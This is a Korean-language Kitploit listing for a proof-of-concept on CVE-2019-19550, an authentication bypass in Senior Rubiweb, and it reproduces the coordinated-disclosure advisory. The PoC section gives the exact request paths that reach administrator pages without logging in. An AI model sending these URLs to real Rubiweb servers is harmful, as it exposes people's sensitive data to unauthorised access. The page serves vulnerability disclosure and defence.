Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-19550 — CVE-2019-19550에 대한 개념 증명 익스플로잇으로, Senior Rubiweb 6.2.34.28/37의 원격 인증 우회 취약점으로, 조작된 URL을 통해 민감한 정보에 대한 무단 관리자 접근을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/underprotection/cve-2019-19550
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubunderprotection/cve-2019-19550

CVE-2019-19550

CVE-2019-19550에 대한 개념 증명 익스플로잇으로, Senior Rubiweb 6.2.34.28/37의 원격 인증 우회 취약점으로, 조작된 URL을 통해 민감한 정보에 대한 무단 관리자 접근을 가능하게 합니다.

저장소 보기
216년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-19550

[설명]

Senior Rubiweb 6.2.34.28 및 6.2.34.37에서 원격 인증 우회(Remote Authentication Bypass)가 발생하여, 취약한 버전을 사용하는 영향받는 사용자의 민감한 정보에 관리자 접근이 허용됩니다. 공격자는 올바른 URL만 제공하면 됩니다.

[중요 날짜]

  • 벤더 통지: 2019-12-02
  • 공개 공시일: 2020-01-30

[취약점 유형]

잘못된 접근 제어

[제품 공급업체]

Senior

[영향을 받는 제품 코드 베이스]

  • Rubiweb - 6.2.34.37
  • Rubiweb - 6.2.34.28
  • 다른 버전도 영향을 받을 수 있으며, 특히 동일 계열 제품이 영향을 받을 수 있습니다(아직 테스트되지 않음)

[영향을 받는 구성 요소]

Rubiweb

[공격 유형]

원격

[영향: 정보 공개]

예

[공격 벡터]

특별한 요구 사항 없이 민감한 정보에 대한 접근이 공개적으로 가능합니다(올바른 URI만 필요).

[공급업체가 취약점을 확인했거나 인정했습니까?]

예

[PoC - 개념 증명]

  1. 인증 포털에 연결을 시도하여 영향을 받는 제품의 존재와 버전을 확인하십시오:
    • hXXp://subdomain.customer.tld:8080/rubiweb/
  2. 취약한 페이지에 접근합니다(인증 없는 관리자):
    • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
    • hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU

[발견자]

Mauricio Santos (R&D UnderProtection) 및 Hesron Hori (R&D UnderProtection)

[감사의 말]

Senior - 조정된 공개에 협력한 공급업체의 정보 보안 팀

[참고 문헌]

  • https://www.underprotection.com.br
  • https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm
  • https://documentacao.senior.com.br/tecnologia/6.2.34/index.htm#central-de-configuracao/CfgWebApplicationsForm.htm%23CfgWebApplicationsForm_edtUserName
도구 다운로드